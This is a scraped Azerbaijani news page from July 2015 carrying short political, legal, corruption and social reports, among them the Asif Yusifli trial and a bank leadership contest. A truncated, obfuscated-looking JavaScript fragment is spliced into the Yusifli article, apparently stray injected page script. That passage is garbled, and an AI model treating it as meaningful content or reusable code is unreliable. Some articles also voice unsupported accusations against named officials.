İlham Əliyev QSC sədrini işdən çıxardı

«Azərbaycan Polad Istehsalı Kompleksi»nin rəhbərliyinə kim gətirələcək? Ölkə başçısı Ilham Əliyev “Azərbaycan Polad Istehsalı Kompleksi” Qapalı Səhmdar Cəmiyyətinin sədri Samir Cəfərovu tutduğu vəzifədən azad edib. Ölkə başçısı bununla bağlı dünən sərəncam imzalayıb. Hələlik Samir Cəfərovun yerinə kimin təyin olunması barədə məlumat yoxdur. Məlumat üçün deyək ki, Samir Cəfərov ötən il fevralın 14-də bu vəzifəyə təyin edilmişdi. Samir Cəfərovla bağlı məlumatlarda deyilir ki, o, 1975-ci ildə Sumqayıt şəhərində anadan olub. Türkiyənin Uludağ və Hacettepe universitetlərində Beynəlxalq münasibətlər ixtisası üzrə bakalavr, magistr və doktorluq dərəcələri alıb. Moskva Dövlət Universitetində elmi işlə məşğul olub. Türkiyədə metal emalı üzrə fəaliyyət göstərən şirkətdə məsul vəzifələrdə çalışıb, bir sıra ölkələrdə metallurgiya sahəsində şirkətlər qurub, sahibkarlıqla məşğul olub. Rus, ingilis, ispan və türk dillərini sərbəst bilir. Müxtəlif dillərdə beynəlxalq münasibətlər sahəsində kitab və nəşrlərin müəllifidir. 2008-ci ildən indiyədək “Azərbaycan Polad Istehsalı Kompleksi” Qapalı Səhmdar Cəmiyyətinin sədri olanadək Heydər Əliyev Fondunun Türkiyə nümayəndəliyinin rəhbəri vəzifəsində çalışıb. Samir Cəfərov bu vəzifəyə təyin olunması hakim ailənin metal sahəsini öz nəzarətinə götürməsi kimi qiymətləndirilirdi. Həmin vaxt yayılan məlumatlarda prezidentin şəxsi mühafizə xidmətinin rəhbəri Bəylər Əyyubov və Prezident Administrasiyasının rəhbəri Ramiz Mehdiyevin də bu sahəni ələ keçirmək iddiasında olmaları bildirilirdi.

24 İyul 2015 8:27

Asif Yusiflinin vəkili ittihamı darmadağın etdi

Bakı Ağır Cinayətlər Məhkəməsində AXCP Rəyasət Heyətinin üzvü, Qarabağ qazisi Asif Yusiflinin məhkəməsi davam edir. İyulun 23-də növbəti proses keçirilib. Prosesdə müdafiə tərəfi, Asif Yusiflinin vəkili Fəxrəddin Mehdiyev çıxış edib. «Asif Yusifli ilə bağlı işdə cinayət tərkibi yoxdur, onun təqsiri sübuta yetirilməyib», - deyə vəkil bildirib. Asif Yusifli 2014-cü il noyabrın 25-də həbs edilib. O, bir nəfərin 6 min 500 manatını dələduzluq yolu ilə mənimsəməkdə və sənədlərin saxtalaşdırılmasında ittiham olunur. Asif Yusifli həmin şəxsə bütün məbləği və əlavə 1200 manat ödəsə də, məhkəməsi davam etdirilir. «ORTADA ALDATMA HALI MÖVCUD DEYİL» Fəxrəddin Mehdiyev deyib ki, Asif Yusifli dələduzluqda ittiham olunsa da, ortada aldatma, etibardan sui-istifadə halları mövcud deyil: «Asif Yusifli zərərçəkən kimi tanınan Zülfiyyə Zülfüqarovadan təhsil məqsədilə 6 min 500 manat alaraq onun təhsil problemini həll etməyə söz verən Rafiq Hüseynova verib. Ortada bu məbləğin borc kimi verilməsinə dair qəbz də var. Sonra iş alınmayıb, Rafiq Hüseynov həbs olunub. Bununla belə Asif Yusifli zərərçəkənə söz verib ki, pulunu özü qaytaracaq. Sadəcə, sonra 2012-ci ildə Asif Yusiflinin avtoqəzaya düşməsi, vəziyyətinin pis olması borcu qaytarmasını yubadıb. Daha sonra zərərçəkənə 1900 manat ödənib. Söhbət aldatmadan, etibardan sui-istifadədən gedirsə, niyə ortalıqda borca dair qəbzlər var, niyə məbləğin bir hissəsi ödənilib?». «ORTADA OLMAYAN ZİYANA GÖRƏ...» Vəkil bildirib ki, Asif Yusiflinin həbsindən sonra valideynləri həmin borcu zərərçəkənə qaytarıb və o da şikayətini geri götürüb: «Asif Yusifli də özünü təqsirkar saymır, ittihamları qərəzli və fəaliyyəti ilə bağlayır. Məsələnin bir tərəfi də ortada ziyan olmadığı halda prokurorun 8 il iş istəməsidir. Cinayət Məcəlləsində deyilir ki, cəzanın məqsədi insanlara işgəncə vermək yox, sosial ədalətin bərpasıdır. Asif Yusifli tarix yazan gəncliyin nümayəndəsidir. O, vətən üçün canından, qanından keçib. Belə olan halda heç bir humanizm nümayiş olunmur. Belə bir cəza sosial ədalət prinsipinə, Dağlıq Qarabağ probleminə münasibətə, onun 14 yaşlı diabet xəstəsi qızının olmasına nə dərəcədə uyğundur? Ümumiyyətlə, olmayan ziyana görə bu insanın 8 il həbsdə saxlanmasına niyə dövlət vəsaiti xərclənməlidir? Qoyun həmin məbləğ dövlət quruculuğuna xərclənsin. Çıxışımı belə bir sualla yekunlaşdırmaq istəyirəm: Görəsən ədalət mühakiməsi ədalət sınağından çıxacaqmı?». Asif Yusifli və onunla birgə müttəhimlər kürsüsündə oturan Rafiq Hüseynov məhkəmədə son söz demək üçün hakimdən vaxt istəyib. Növbəti proses iyulun 30-a təyin olunub. Prokuror Asif Yusifliyə 8 il həbs cəzası istəyib. // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

23 İyul 2015 7:12

Samir Şərifov baş bankirə qalib gəldi

Mart ayının 18-dən Beynəlxalq Bankın boş qalan İdarə Heyətinin sədri vəzifəsinə, nəhayət, seçki keçirilib. İyulun 22-də Beynəlxalq Bankın Müşahidə Şurasının iclasında İdarə Heyətinə sədr seçilməsi və İdarə Heyətinin üzvlərinin təyin edilməsi məsələsi müzakirə edilib. Məlumata görə, İdarə Heyəti sədri vəzifəsinə 3 nəfərin namizədliyi qeydə alınıb. Onlardan biri "Kapital Bank” ASC-nin keçmiş, "Azəri-Türk Bank” ASC-nin isə indiki rəhbəri Elmar Məmməd oğlu Məmmədov, ikincisi Azərbaycan Sahibkarlar (İşəgötürənlər) Təşkilatları Milli Konfederasiyasının prezidenti, "Aqrar Kredit” Səhmdar Kredit Təşkilatının İdarə Heyətinin sədri Məmməd Qurban oğlu Musayev və üçüncü əsas namizəd isə Azərbaycan Mərkəzi Bankının baş direktoru Rəşad Temraz oğlu Orucov olub. Səsvermə nəticəsində İdarə Heyətinin sədri vəzifəsinə Elmar Məmmədov seçilib. Elə həmin gün bankın İdarə Heyətinin sədrinin müavini və baş maliyyə direktoru Rəşad Hacıyev vəzifəsindən istefa verib. "Yeni Müsavat” qəzeti yazır ki, Beynəlxalq Banka rəhbərlik uğrunda mübarizə Mərkəzi Bankın sədri Elman Rüstəmov və maliyyə naziri Samir Şərifov arasında hələ Cahangir Hacıyevin dönəmindən başlamışdı. C.Hacıyevin istefasından sonra isə hər iki şəxs bu posta özünə yaxın adamı təyin etdirməyə çalışırdı. Məhz bu mübarizə də sədr seçilməsinin yubanmasına səbəb oldu. Ş.Şərifovun Beynəlxalq Banka rəhbərlik uğrunda mübarizədə fəal olması əslində başadüşüləndir. Çünki Beynəlxalq Bankın 50,2 faiz səhmi dövlətə - Maliyyə Nazirliyinə məxsusdur. Məhz bu səbəbdən də maliyyə naziri bank rəhbərliyinə əvvəllər "Kapital Bank”ın rəhbərliyində çalışan Elmar Məmmədovun sədr gətirilməsinə çalışırdı və bunu gizlətmirdi də. Mərkəzi Bank rəhbəri isə Rəşad Orucovun namizədliyini müdafiə edirdi. Mərkəzi Bankın baş direktoru vəzifəsində çalışan R.Orucov baş bankirin ən yaxın adamlarından sayılır. Maraqlıdır ki, Rəşad Orucov "Aqrar Kredit” Səhmdar Kredit Təşkilatının İdarə Heyətinin sədri Məmməd Musayevin həm də kürəkənidir. Rəşad Orucovun təyinatının baş tutmamasını maliyyə nazirinin Elman Rüstəmov üzərində qələbəsi kimi qiymətləndirmək olar. Bu, həm də baş nazir postuna iddialı olan Samir Şərifovun sözünün daha mötəbərliyinə işarədir. Məlumdur ki, S.Şərifov cidd-cəhdlə baş nazir olmaq istəyir. Bunun üçün də ətrafına yaxınlarından ibarət güclü komanda yığır. Həmin komandada indi Beynəlxalq Banka rəhbər gətirilən Elmar Məmmədovun adı həmişə birinci çəkilib. Beynəlxalq Bankın yeni rəhbəri 1969-cu ildə doğulub, ixtisasca iqtisadçı və hüquqşünasdır. 1995-2004-cü illərdə Beynəlxalq Bankın Əməliyyat idarəsinin rəisi, Səbayel filialının rəhbəri işləyib. Daha sonra fəaliyyətini "Kapital Bank”da davam etdirən E.Məmmədov 2005-ci ildən bankı sədr müavini, 2009-cu ildən isə sədri işləyib. Ötən il dekabrın 14-də "Azər-Türk Bank” ASC-nin səhmdarlarının ümumi yığıncağında bankın İdarə Heyətinin sədri olub. Elmar Məmmədov "Azərsığorta” Dövlət Şirkətinin rəhbəri Məmməd Məmmədovun oğludur.

23 İyul 2015 5:51

“Azdrama”da xalq artistindən direktora 5 minlik korrupsiya ittihamı

Akademik Milli Dram Teatrının tanınmış aktyoru, xalq artisti Nurəddin Mehdixanlı direktor İsrafil İsrafilov barədə ilginc faktlar açıqlayıb. Xalq artisti Ölkə.Az-a açıqlamasında bildirib ki, İsrafilov son üç qastroldan ümumilikdə 5 min manata yaxın pul mənimsəyib: "Nazirlər Kabinetinin qərarına əsasən respublika daxilində ezamiyyə xərcləri Bakıdan rayon mərkəzlərinə 45 manat nəzərdə tutulub. Amma Naxçıvana qastrola gediriksə, bu xərc 60 manatdır. Rayonlardan Bakıya qastrola gələn aktyorların bir günlük xərci isə 55 manat nəzərdə tutulub. Bura bizim yemək və mehmanxana xərclərimiz də daxildir. Ancaq aktyorun səfər zamanı qastrol rəhbərliyinin tutduğu mehmanxanada qalması şərt deyil. Yəni qohumunun, yaxud başqa bir tanışının evində də qala bilər. Məsələ burasındadır ki, biz Şamaxıya, Qobustana, Oğuza, Saatlıya, Sabirabada İmişliyə getmişik və heç birində pul almamışıq. Bir dəfə gətirib aktyorlara 9 manat pul ödədilər. Bəziləri götürdü. Amma mən və bir neçə nəfər götürmədik. Bu, əslində təhqir deməkdir. Deyirlər ki, biz sizə yemək veririk. Ola bilər ki, teatr rəhbərliyi öz aktyorlarına hörmət etməsin və bu, reallıqdır. Amma həm rayonların rəhbər şəxsləri, həm də tamaşaçılar, yerli sakinlər tərəfindən böyük hörmətlə qarşılanırıq. Sizi əmin edirəm ki, ordakı xərclərimiz də rayon rəhbərliyi tərəfindən ödənilir və bunun "sutoçnı"ya heç bir aidiyyatı yoxdur". N.Mehdixanlı bildirib ki, "Azdrama" təsərrüfat hesablı dövlət təşkilatı olduğundan yalnız məvaciblər büdcədən ödənilir. Digər xərclər isə oynanılan tamaşalar hesabına çəkilir: "Mən hansısa rayona qastrola gedirəmsə, deməli, bu, kommersiya xarakterli səfərdi. Səfəri təşkil edən adam orada zəhmət çəkən insanların haqqını ödəməlidi. Amma bunlar yoxdur. Dəfələrlə demişik ki, niyə halal haqqımız olan pulumuzu vermirsən. Deyib ki, əcəb edirəm. Soruşuruq ki, niyə yaradıcı heyətin iclasını keçirmirsən? Yenə cavab belə olur-əcəb edirəm". N.Mehdixanlı bildirib ki, dövlət tərəfindən "Azdrama"ya yüksək komfortlu avtobus verilsə də, həmin nəqliyyat vasitəsi yalnız qastrollar zamanı teatrın həyətində olur: "Deyir ki, sizi maşınla aparırıq, nə bilim nə. Qardaşım, məni sən aparırsansa, nəqliyyat məsələsinin mənə aidiyyatı yoxdur. Sən bir dövlət idarəsisən və öz nəqliyyat vasitən var. Bizə yüksək komfortlu avtobus veriblər. Amma biz o avtobusun üzünü ancaq qastrollarda görmüşük. Avtobus qalan vaxtlarda başqa "səfərlərdə" olur. Səfərləri uğurlu olsun. Biz heç onunla da maraqlanmırıq. Öz əlləri öz başları. Amma aktyor səhər 6-da qastrola yollanmaq üün evindən 5-də çıxır və taksi ilə gəlir. Məsələn, İmişliyə getdik və səhər 6-da Bakıdan çıxdıq. Gedib çayxana, kafe həyətlərində oturduq, tamaşamızı oynayıb gecə saat 2-də qayıtdıq. İndiki zamanda kimin haqqı var ki, kimisə 18 saat işlətsin? Əvəzində almalı olduğumuz 45 manatı da vermirlər". Sonda xalq artisti daha bir ilginc açıqlama verib: "Bəziləri deyir ki, teatrın daxilində baş verən nüfuz savaşıdır, bəziləri bunu mövqe savaşı adlandırırlar. Amma bütün bunlar reallığın üstünü sifarişli yazılarla malalamaq cəhdidir. Heç olmasa vicdanları ilə düşünsünlər. Son üç qastrolda bir manat da almamışıq. Hesablayın 35 nəfərin hər birinə 45 manat verilməlidir. Üç səfər, 35 nəfər və 45 manatdan 5 min manata yaxın pul edir. Heç kimə bir qəpik də verilməyib. Bəs hanı bu pullar?"

23 İyul 2015 3:00

İŞİD-ə qoşulan 5 azərbaycanlı tutuldu

Türkiyə hüquq-mühafizə orqanları əməkdaşları son 6 ay ərzində (01 yanvar – 30 iyun) Suriyaya qeyri-qanuni yolla keçmək istəyən 457 xarici ölkə vətəndaşını saxlayıb Bu barədə Faktinfo.az `Anadolu` agentliyinə istinadən xəbər verir.Ümumilikdə bu müddət ərzində Türkiyə-Suriya sərhədində 32 ölkədən 457 xarici vətəndaş saxlanılıb. Onların böyük əksəriyyəti – 241 nəfəri Çin vətəndaşları, uyğurlardır.Bundan əlavə, son 6 ay ərzində 56 Rusiya, 30 Fələstin, 29 Türkmənistan, 13 Böyük Britaniya, 12 Fransa, 9 Səudiyyə Ərəbistanı, 7 Əfqanıstan, 6 Cənubi Koreya, 6 Tacikistan, 5 Azərbaycan, Almaniya, Belçika və Hollandiya vətəndaşı hüquq-mühafizə orqanı əməkdaşı tərəfindən saxlanılıb.Saxlanılan şəxslər arasında Avstraliya, Braziliya və Trinidad və Taboqo vətəndaşları da var.Onların İraq və Şam İslam Dövləti (İŞİD) terror təşkilatına üzv olmaq üçün Suriyaya getmək istədikləri bildirilir.Xatırladaq ki, ötən ilin iyun ayının əvvəlindən etibarən İraqda hökumət qüvvələri ilə İraq və Şam İslam Dövləti (İŞİD) silahlıları arasında qanlı döyüşlər davam edir. Mosul və Kərkük şəhərləri də daxil olmaqla bir sıra İraq şəhərləri İŞİD yaraqlıları tərəfindən ələ keçirilib.İyunun sonunda "İslam Dövləti" İraqda və Suriyada onun nəzarəti altında olan ərazilərində "İslam Xilafəti" yaratdığını elan etdi. İraq hakimiyyəti bu təşkilata qarşı mübarizədə kömək üçün beynəlxalq birliyə müraciət etdi.

23 İyul 2015 1:02

Prezidentə müraciət: “Çimərliklərin hasarlarını sökdürün!”

Bir daha bitməyən çimərlik problemi haqqında... Nazirlər Kabinetinin məlum iclasında prezident Ilham Əliyev xalqa müraciət edərək vətəndaşlardan şikayətlərini məktubla və ya onun elektron poçtuna yazmaqla göndərmələrini istədi. Bundan sonra vətəndaşlar sosial mediada dövlət başçısına müxtəlif şikayətlərini dilə gətirdilər: işsizlik, kommunal problemlər, məmur harınlığı, cəzasızlıq şəraiti və s. məsələlər diqqətə çatdırıldı. Aktual problemlərdən biri də əhalinin istirahət etmək hüququnun məhdudlaşdırılması, xüsusilə də çimərliklərə girişin pullu olması idi. Hətta prezidentdən çimərliklərin hasarlarının sökülməsini istəyənlər də oldu. Yay mövsümündə bu problem hamını narahat etdiyi üçün biz də mövzuya yenidən qayıtmağı lazım bildik. Çünki, hər yay mövsümündə mətbuat bu barədə yazsa da, lakin problem həll edilmir. Qəzetimizdə isə son illərdə çimərlik mövzusunda dərc olunan yazılara nəzər salanda onların arasında bir yazı xüsusilə diqqətimizə səbəb oldu. “Bitməyən çimərlik söhbəti” adlı bu yazıda barəsində bəhs edilən pullu çimərlik demə, Bakının icra başçısı Hacıbala Abutalıbovun Hövsan qəsəbəsindəki bağ evinin yaxınlığında yerləşir. Axı, adəti üzrə hər yay mövsümündə Bakı Şəhər Icra Hakimiyyəti əhalini bütün çimərliklərə girişin pulsuz olması barədə xəbərdar edir. Lakin şəhər rəhbərinin özünün bağ evinin yanında pullu çimərliyin fəaliyyət göstərməsi doğrudan da maraqlıdır... Həmin məqalədə yazıldığı kimi, bu çimərlik Hövsanın “Bağlar” deyilən sahəsində “Günəşli sahil” restoranına bitişik ərazidə yerləşir. Çimərliyə daxil olmaq istəyən hər adamdan 4 manat tələb olunurmuş ki, bu da ilk növbədə ətraf bağların sakinlərində narazılıq yaradırmış... Maraq üçün həmin çimərlikdəki problemin hazırda nə yerdə olduğunu öyrənməyə çalışdıq. Əldə etdiyimiz yeni məlumatlara görə, məsələ hələ də həllini tapmayıb və bağ sakinləri bu gün də həmin çimərliyə rahatlıqla daxil ola bilmirlər. Hətta bu mövsüm çimərliyə giriş üçün ödənişin məbləği artırılaraq 5 manat olub?! Qeyd edək ki, bu çimərlik 15 ilə yaxındır hasarlanıb. Əvvəllər hamı üçün açıq olan bu dənizkənarı sahə indi hətta bağ sakinlərinin üzünə qapadılıb. Hökumətin iclasında prezidentin sərt tənqid etdiyi məsələlərdən biri də turizm obyektlərindəki bahalıq ucbatından əhalinin istirahət edə bilməməsi idi. Ancaq, göründüyü kimi, vətəndaşların nəinki ölkə daxilində səyahət etmək, hətta öz yaşadıqları ərazilərdə də istirahət imkanları məhdudlaşdırılıb. Misal çəkdiyimiz çimərliyə qayıdaq: bir ailənin 5 üzvü varsa, deməli, gündə bir dəfə ailəliklə çimərliyə gəlmək üçün 25 manat ödəməlisən. Üstəlik, ailə 1 aylıq istirahət üçün bağa köçübsə, onda ay ərzində təkcə çimərlik üçün cəmi 750 manat xərclənməlidir. Sakinlərin sözü olmasın, bu qədər xərclə öz bağında dincəlməkdənsə, Antalyaya səyahət etmək daha ağıllı iş olardı?! Bu yaxınlarda Odessa vilayətinin rəhbəri Mixail Saakaşvilinin şəhərdə dənizkənarı sahələrin çəpərlərini sökdürməsi xəbərləri ölkəmizdə də maraqla qarşılandı. Vilayət rəhbəri odessalıların və şəhərin qonaqlarının konstitusion hüquqlarının kobud şəkildə pozulduğunu əsas gətirərək belə bir addım atdı. M.Saakaşvili hətta bir neçə ildir oliqarxlardan birinin zəbt etdiyi çimərliyi də odessalıların ixtiyarına verdi və bütün çimərlikləri yoxlatdıracağını vurğuladı. azadiq.info Belə bir tədbirin Azərbaycanda həyata keçirilməsi əslində çoxdan arzu olunur. Bizdə oxşar hadisə 2 ay öncə prezident Ilham Əliyevin tapşırığı ilə Bakıda “Dostluq” parkının ərazisində qanunsuz tikilən 40-dan çox villanın sökülməsi idi. Deməli, təcrübə var və bu təcrübə niyə, hasarlanan çimərliklərə tətbiq edilməsin?  

23 İyul 2015 8:33

Hökumətin “qara siyahı”sı açıqlandı

Cahangir Hacıyev, Cahangir Əsgərov və üç nazir hədəfdə Baş prokuror yanında Korrupsiyaya Qarşı Mübarizə Idarəsinin rəisi Kamran Əliyev 2015-ci ilin birinci yarımilinə həsr olunmuş mətbuat konfransı keçirib. Kamran Əliyev konfransda bir sıra maraqlı açıqlamalar verib. Idarə rəisi bildirib ki, kənd təsərrüfatı, səhiyyə və təhsil sahələrində korrupsiya faktları daha çoxdur. Qurum rəhbərinin sözlərinə görə, bu, cinayət faktından və cinayəti törədənlərin sayından asılı olaraq dəyişir: “Tikinti sektorunda 15 fakt üzrə 30 şəxs barəsində cinayət işi məhkəməyə göndərilib. 2-ci yerdə 11 cinayət işində 17 şəxs barəsində, ticarət sahəsində 11 cinayət işində 11 şəxs barəsində faktlar toplanaraq məhkəməyə göndərilib. Ən çox cinayət hadisəsi isə kənd təsərrüfatı, səhiyyə və təhsil sahələrində baş verib”. Kamran Əliyevin bu açıqlamasından belə qənaətə gəlmək olar ki, parlament seçkilərindən sonra gözlənilən kadr dəyişikliklərində adı çəkilən sahələrə xüsusi diqqət yetiriləcək. Hətta mümkündür ki, bu sahələrin rəhbərləri istefaya göndərilsin. Kamran Əliyev banklarda da korrupsiya faktlarının olduğunu qeyd edib. “Banklarla bağlı Baş prokuror yanında Korrupsiyaya Qarşı Mübarizə Baş Idarəsində çoxlu sayda cinayət işi var. Bu ilin birinci yarısında da Baş Idarə tərəfindən məhkəmələrə göndərilən işlər içərisində birinci yerdə banklarla bağlı işlər durur”,- deyə idarə rəisi vurğulayıb. O, əlavə edib ki, banklarla bağlı bu ilin birinci yarısında 30 şəxslə bağlı 15 cinayət işi məhkəməyə göndərilib: “Baş Idarə qanunların imkan verdiyi çərçivədə ziyanın ödənilməsində iştirak edir. Hər bir halda kreditin verilməsi fərdidir. Bəzən kimsə deyir ki, kreditin müddəti filan vaxt bitir, ancaq kreditdən səmərəli istifadə məsələsi var. Bizim 3 əməkdaşımız Daxili Işlər Nazirliyinin Mütəşəkkil Cinayətkarlığa Qarşı Mübarizə Idarəsində Beynəlxalq Bankla bağlı işdə də iştirak edir. Beynəlxalq Bankla bağlı işdə korrupsiya halı aşkarlanarsa, araşdırılacaq”. Idarə rəisinin bu fikirlərindən sonra güman etmək olar ki, Beynəlxalq Bankın keçmiş sədri Cahangir Hacıyevin fəaliyyəti ciddi araşdırılır. Mümkündür ki, keçmiş sədrə həbs təhlükəsi yaransın. Onsuz da Cahangir Hacıyevin seçkidən sonra həbs edilə biləcəyi barədə iddialar səsləndirilir. Kamran Əliyev AZAL-la bağlı da məsələyə toxunub. “AZAL-ın bilet qiymətləri ilə bağlı əsaslı şikayət olarsa, Baş Prokuror yanında Korrupsiyaya qarşı Mübarizə Baş Idarəsində ümumi qaydada araşdırma aparıla bilər”,-deyə idarə rəisi bildirib. Qeyd edək ki, ölkə başçısı Ilham Əliyev Nazirlər Kabinetinin iclasında aviabiletlərin baha olmasına sərt reaksiya vermişdi. O, bəyan etmişdi ki, qiymətlər aşağı salınmalıdır. Kamran Əliyevin Cahangir Əsgərovu faktiki olaraq hədələməsi də bu məsələnin arxasında məhz ölkə başçısının dayanmasından irəli gəlir. Əks halda Kamran Əliyev hakim ailəyə yaxın şəxsin rəhbərlik etdiyi qurumla bağlı şikayət olacağı təqdirdə araşdırma aparıla biləcəyini bəyan etməzdi. Ümumiyyətlə, Kamran Əliyevin bu fikirlərini hakimiyyətin “qara siyahısı”nı açıqlması kimi də qiymətləndirmək olar.

23 İyul 2015 2:22

AZƏRBAYCAN ENDOKRİNOLOQLAR CƏMİYYƏTİ MƏRKƏZİ ELMİ KİTABXANADA HUMANİTAR AKSİYA KEÇİRİB

    Azərbaycan Milli Elmlər Akademiyasının (AMEA) Mərkəzi Elmi Kitabxanasında (MEK) Azərbaycan Endokrinoloqlar Cəmiyyəti humanitar aksiya keçirib. Azər-Türk Med Tibb Mərkəzinin həkimlərdən ibarət səyyar briqadası MEK-in və AMEA-nın digər müəssisələrindən olan əməkdaşları arasında endokrinoloji müayinə aparıb. İlk olaraq, endokrinoloji xəstəliklər haqqında maarifləndirici tədbir keçirilib. Tədbiri giriş sözüylə açan MEK-in direktoru, tibb üzrə fəlsəfə doktoru Leyla İmanova sağlamlığı qorumağın başlıca yolunun xəstəliklərə qarşı öncədən mübarizə aparmaq olduğunu qeyd edərək tədbirin bu baxımdan əhəmiyyətindən danışıb. Sonra Azərbaycan Endokrinologiya, Diabetologiya və Terapevtik Təlimat Assosiasiyasının icraçı direktoru, həkim-endokrinoloq Murad Mirzəzadə şəkərli diabet xəstəliyinin müalicəsindən danışaraq, insanların bu xəstəlikdən gec xəbər tutmalarının xəstəliyin müalicəsindəki əsas əngəl olduğunu bildirib. Qeyd edib ki, inkişaf etmiş şəkər xəstəliyini müalicəylə sadəcə olduğu vəziyyətdə saxlamaq mümkündürsə, prediabet mərhələsində diabetə meyillilik tamamilə aradan qaldırıla bilər. Daha sonra çıxış edən həkim-endokrinoloq Sevil Mustafayeva şəkərli diabetin tarixi haqqında məlumat verərək, xəstəliyin V-VI əsrlərdə aşkar olunduğunu bildirib. Xəstəliklə mübarizə tarixində ən böyük addımın 1923-cü ildə insulinin tapılması olduğunu vurğulayan S.Mustafayeva dünyada sürətlə yayılan bu xəstəliyin əsas yaranma səbəbinin maddələr mübadiləsinin pozğunluğu olduğunu qeyd edib. Bildirib ki, gündəlik həyatımızda istifadə etdiyimiz qidalardan əldə etdiyimiz enerjinin miqdarı xərclədiyimiz enerji miqdarından dəfələrlə çox olması artıq çəki ilə nəticələnir ki, bu da şəkərli diabet xəstəliyinin əsas yaranma səbəblərindəndir. Həmçinin əlavə edib ki, əsas fəsadları ürək infarktı, korluq, sinir pozğunluğu və böyrək çatışmazlığı olan bu xəstəlik nəticəsində dünyada hər 30 saniyədə bir xəstənin ayağı aputasiya edirlir. Çıxış edən həkimlər bu baxımdan aksiyanın xəstəliyin fəsadları ortaya çıxmadan onu müayinə etmək, doğru istiqamətə yönləndirmək və təlimatlandırmaq məqsədi daşıdığını vurğulayıb. Daha sonra müayinə aksiyasına başlanılıb. Klinikanın peşəkar həkim heyəti müraciət edənləri müayinə edərək onlara lazımi məsləhətləri verib. Sonda aksiya təşkilatçıları kitabxanaya şəkərli diabet xəstəliyinin müalicəsinə dair praktik göstərişləri və xəstəliyin qarşısının alınması üsulları haqqında məlumatları əks etdirən broşür və kitabları hədiyyə edib. Aksiya 3 gün davam edəcək.

22 İyul 2015 6:50

Prokuror hüquq müdafiəçisinə 4 il həbs cəzası istədi

Dövlət ittihamçısı hüquq müdafiəçisi Taleh Xasməmmədova 4 il həbs cəzası istəyib. Taleh Xasməmmədovun məhkəmə prosesi iyulun 22-də Göyçay Rayon Məhkəməsində davam etdirilib. Bu barədə Azadlıq Radiosuna hüquq müdafiəçisinin anası Gülbutə Xasməmmədova məlumat verib. O, deyir ki, "şərlənərək həbs olunan oğluna prokurorun 4 il iş istəməsi ədalətsizlikdir": “Ona qarşı irəli sürülən ittiham tamamilə saxtadır, onu heç bir günahı olmadan şərləyib həbsə alıblar. Bir daha prezidentə səslənirik, Talehin hansısa məmurların özfəaliyyəti nəticəsində məhkum olunmasına, iki balasının çarəsiz durumda qalmasına imkan verməsin”. Hazırda məhkəmə müşavirəyə gedib. Hakimlərin bu gün hökm oxuyacağı gözlənir. T.Xasməmmədov Cinayət Məcəlləsinin 221.2.2-ci maddəsi (hakimiyyət nümayəndəsinə müqavimət göstərməklə xuliqanlıq törətmək) ilə ittiham olunur. Bu maddə iki il müddətinədək icbari iş və ya beş ilədək azadlıqdan məhrumetmə cəzasını nəzərdə tutur. T.Xasməmmədov fevralın 24-də Göyçayda mebel mağazasının qarşısında saxlanılıb. Vəkilləri deyir ki, mağazadan çıxarkən bir naməlum şəxs ona yaxınlaşıb üzünə tüpürüb. Sonra həmin adam yerə yıxılıb və özünü elə aparıb ki, guya T.Xasməmmədov onu döyür. Fevralın 26-da Göyçay məhkəməsi onun barəsində üç ay müddətinə həbs qəti-imkan tədbiri seçib. T.Xasməmmədov Göyçay-Ucar bölgəsində hüquq-müdafiə fəaliyyəti və Facebook-da yerli hakimiyyəti tənqid etməsi ilə tanınır Bundan öncə də mühakimə edilib, lakin iki il əvvəl əfv olunub.

22 İyul 2015 6:34

Nazirlik türmədən çıxan 3 minə yaxın şəxs birdəfəlik müavinət verdi

Bu ilin birinci yarımili ərzində Əmək və Əhalinin Sosial Müdafiəsi Nazirliyinin (ƏƏSMN) rayon (şəhər) Əhalinin sosial müdafiəsi mərkəzləri penitensiar müəssisələrdə cəza çəkməkdən azad olunmuş, tibbi və sosial yardıma ehtiyac duyan 2830 nəfər şəxsi birdəfəlik pul müavinəti ilə təmin edib Faktinfo.az nazirliyin İctimaiyyətlə əlaqələr şöbəsinə istinadən bildirir ki, müvafiq qanunvericiliyə uyğun olaraq, həmin şəxslərin hər birinə minimum əmək haqqının 4 misli məbləğində, yəni 420 manat məbləğində birdəfəlik pul müavinəti verilib. Penitensiar müəssisələrdə cəza müddəti başa çatmaqda olan şəxslərin gələcək məşğulluğunun dəstəklənməsi üçün onların peşə reabilitasiyası istiqamətində tədbirlər cari ilin 6 ayında da davam etdirilib. Bu müddətdə cəzaçəkmə müəssisələrində cəza çəkməkdən azad ediləcək 45 nəfər şəxs, o cümlədən 29 nəfər üçün kompüter istifadəçisi, 16 nəfər üçün isə mebel quraşdırıcısı peşəsi üzrə peşə hazırlığı kursları təşkil olunub. Hazırda ƏƏSMN-nin sifarişi ilə Qobustan rayonunda inşa olunan Penitensiar müəssisələrdə cəza çəkməkdən azad olunmuş şəxslər üçün 50 yerlik Sosial Adaptasiya Mərkəzi qeyd olunan şəxslərin sosial adaptasiyası, onların sosial mühitə uyğunlaşdırılması, hüquq və azadlıqlarının müdafiəsi və s. kimi məqsədlərə xidmət edəcək.

22 İyul 2015 4:26

Jurnalistlər Zərdabini ziyarət edib

  Həsən bəy Zərdabinin məzarı önünə əklil qoyulub, böyük mütəfəkkirin xatirəsi anılıb Milli Mətbuat və Jurnalistika Günü münasibətilə Azərbaycan Respublikasının Prezidenti yanında Kütləvi İnformasiya Vasitələrinin İnkişafına Dövlət Dəstəyi Fondunun (KİVDF) və Azərbaycan Mətbuat Şurasının, KİV-lərin nümayəndələri iyulun 22-də Fəxri xiyabana gələrək xalqımızın ümummilli lideri, müasir müstəqil Azərbaycan dövlətinin memarı və qurucusu Heydər Əliyevin xatirəsini ehtiramla yad edib, məzarı önünə əklil və gül dəstələri qoyublar. Sonra Azərbaycan milli mətbuatının banisi Həsən bəy Zərdabinin məzarı önünə əklil qoyulub, böyük mütəfəkkirin xatirəsi anılıb. Görkəmli maarifpərvər, pedaqoq və təbiətşünas alimin məzarı önündə çıxış edən Mətbuat Şurasının sədri Əflatun Amaşov milli mətbuatımızın keçdiyi çətin və şərəfli yoldan danışıb. Bildirib ki, 1875-ci il iyulun 22-də maarifçi və publisist Həsən bəy Zərdabi tərəfindən nəşr olunmağa başlayan “Əkinçi” qəzeti iki ilə yaxın fəaliyyəti dövründə mütərəqqi fikirli ziyalıları ətrafında birləşdirib. Qəzetdə elm, maarif, mədəniyyət, incəsənət və kənd təsərrüfatının inkişafı ilə bağlı məqalələr dərc olunub, bu mətbu orqan vasitəsilə xalqın mədəni tərəqqisi 